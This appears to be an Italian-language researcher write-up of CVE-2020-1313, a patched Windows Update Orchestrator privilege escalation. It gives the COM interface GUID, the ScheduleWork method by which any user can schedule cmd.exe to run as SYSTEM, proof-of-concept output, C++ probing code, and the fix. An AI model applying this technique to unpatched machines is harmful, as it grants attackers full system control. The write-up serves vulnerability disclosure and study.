
Exploit proof-of-concept della vulnerabilità di elevazione dei privilegi del servizio Windows Update Orchestrator
Windows Update Orchestrator Service è un servizio DCOM utilizzato da altri componenti per installare gli aggiornamenti di Windows già scaricati. USO era vulnerabile a un elevazione dei privilegi (da qualsiasi utente a sistema locale) a causa di un'autorizzazione impropria dei chiamanti. La vulnerabilità interessava i prodotti Windows 10 e Windows Server Core. Risolto da Microsoft nel Patch Tuesday di giugno 2020.
Il servizio UniversalOrchestrator (9C695035-48D2-4229-8B73-4C70E756E519), implementato in usosvc.dll, viene eseguito come NT_AUTHORITY\SYSTEM ed è configurato con permessi di accesso per BUILTIN\Users (tra gli altri). Sebbene l'enumerazione delle classi COM implementate da questo servizio sia bloccata (OLEView.NET: Errore durante l'interrogazione delle interfacce COM - ClassFactory non può fornire la classe richiesta), l'interfaccia IUniversalOrchestrator (c53f3549-0dbf-429a-8297-c812ba00742d) - come esposta dalla definizione del proxy - può essere ottenuta tramite chiamate API COM standard. I seguenti 3 metodi sono esportati:
virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
Il metodo ScheduleWork può essere utilizzato per pianificare un comando da eseguire nel contesto del servizio e può essere fatto senza alcuna autorizzazione del richiedente. Sebbene l'eseguibile di destinazione stesso debba essere firmato digitalmente e situato in c:\windows\system32 o nei file comuni in Program Files, anche gli argomenti della riga di comando possono essere specificati. Ciò rende possibile lanciare c:\windows\system32\cmd.exe e ottenere l'esecuzione arbitraria del codice in questo modo sotto NT_AUTHORITY\SYSTEM, rendendo questo problema un'elevazione di privilegi locale.
Il lavoro è "pianificato", non viene avviato immediatamente.
Il PoC che ho creato configura un "lavoro" con cmdLine c:\windows\system32\cmd.exe e parametri: /c "whoami > c:\x.txt & whoami /priv >>c:\x.txt"
Eseguendolo:
C:\111>whoami
desktop-43rnlku\unprivileged
C:\111>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\111>whoami /priv
C:\111>UniversalOrchestratorPrivEscPoc.exe
Obtaining reference to IUniversalOrchestrator
Scheduling work with id 56594
Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.
Una voce relativa al lavoro pianificato viene aggiunta al registro:

Il comando specificato viene eseguito durante la notte (intorno alle 23:20) quando non è prevista alcuna interazione dell'utente, oppure dopo che sono trascorsi 3 giorni di SLA.
Quando non sono riuscito a ottenere la definizione dell'interfaccia del servizio USO con OleView.NET, ho creato uno script per esaminare centinaia di combinazioni CLSID/IID che mi aspettavo funzionassero a qualche livello. Sembrava qualcosa del genere:
void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)
{
void *ss = NULL;
IID iid;
ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else
HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);
printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");
}
void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)
{
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!
}
...
TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");
TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");
TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");
// ... and hundreds of more
Il risultato dell'approccio è stato:
UniversalOrchestrator IUniversalOrchestrator: WORKING
UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING
UxUpdateManager IUxUpdateManager: WORKING
Poi ho iniziato a fare reverse engineering dell'implementazione e ho trovato il flusso descritto sopra.
Microsoft ha risolto questo problema nel Patch Tuesday di giugno 2020 aggiungendo la chiamata API CoImpersonateClient mancante.
Implementazione prima dell'applicazione della correzione:

Implementazione dopo l'applicazione della correzione:

In che modo questo aiuta? L'impersonificazione viene eseguita all'inizio dell'elaborazione della richiesta, quindi le chiamate API per aggiornare il registro vengono eseguite nel contesto di sicurezza del chiamante. Se il chiamante non ha privilegi su HKEY_LOCAL_MACHINE, il metodo API uso fallirà di conseguenza.
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1313